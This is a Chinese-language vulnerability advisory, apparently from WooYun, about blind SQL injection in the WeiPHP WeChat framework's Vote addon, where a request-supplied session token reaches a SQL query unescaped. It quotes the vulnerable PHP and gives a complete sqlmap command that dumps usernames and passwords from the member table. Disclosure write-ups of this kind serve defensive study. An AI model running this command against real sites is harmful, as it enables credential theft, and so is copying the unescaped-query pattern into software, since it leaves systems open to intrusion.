漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
									2015-04-22:	积极联系厂商并且等待厂商认领中,细节不对外公开
									2015-06-06:	厂商已经主动忽略漏洞,细节向公众公开
								
简要描述:
WeiPHP微信开发框架SQL盲注
详细说明:
程序简介:
weiphp是一个开源,高效,简洁的微信开发平台,它是基于oneThink这个简单而强大的内容管理框架实现的。旨在帮助开发者快速实现微信公众账号的个性化功能。开源产品WeiPHP下载量10万多,被众多开发者安装使用。
 
漏洞证明:
漏洞文件: addons/Vote/Controller/VoteController.class.php
	function join() {
		$token = get_token ();
		$opts_ids = array_filter ( I ( 'post.optArr' ) );
		
		$vote_id = intval ( $_POST ["vote_id"] );
		// 检查ID是否合法
		if (empty ( $vote_id ) || 0 == $vote_id) {
			$this->error ( "错误的投票ID" );
		}
		if ($this->_is_overtime ( $vote_id )) {
			$this->error ( "请在指定的时间内投票" );
		}
		if ($this->_is_join ( $vote_id, $this->mid, $token )) {
			$this->error ( "您已经投过,请不要重复投" );
		}
		if (empty ( $_POST ['optArr'] )) {
			$this->error ( "请先选择投票项" );
		}
           ...
利用get_token函数来获取token:
function get_token($token = NULL) {
	if ($token !== NULL) {
		session ( 'token', $token );
	} elseif (! empty ( $_REQUEST ['token'] )) {
		session ( 'token', $_REQUEST ['token'] );
	}
	$token = session ( 'token' );
	
	if (empty ( $token )) {
		return - 1;
	}
	
	return $token;
}
获取之后直接返回,这个投票会检测是否投过票,投过就不能再投了!
	private function _is_join($vote_id, $user_id, $token) {
		// $vote_limit = M ( 'vote' )->where ( 'id=' . $vote_id )->getField ( 'vote_limit' );
		$vote_limit = 1;
		$list = M ( "vote_log" )->where ( "vote_id=$vote_id AND user_id='$user_id' AND token='$token' AND options <>''" )->select ();
		$count = count ( $list );
		$info = array_pop ( $list );
		if ($info) {
			$joinData = explode ( ',', $info ['options'] );
			$this->assign ( 'joinData', $joinData );
		}
		if ($count >= $vote_limit) {
			return true;
		}
		return false;
	}
}
这个检测把token带入执行导致sql注入。
但是由于不会显,所以用盲注。
利用方法:
先注册一个用户,然后登录,之后添加一个投票。
然后用sqlmap可以进行sql注入了:
./sqlmap.py -u "http://localhost/index.php?s=/addon/Vote/Vote/join.html" --data="optArr%5B%5D=65&token=123*&wecha_id=&vote_id=34" --cookie="PHPSESSID=7dkdoophklk01k0r749491f2l5; thinkphp_show_page_trace=0|0" --threads 10 --batch -D weiphp -T wp_ucenter_member -C username,password --dump -v 4
--cookie这里给的是你登录之后的cookie。vote_id为你的投票id
修复方案:
过滤
版权声明:转载请注明来源 不能忍@乌云
>
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝

 
                 
                        
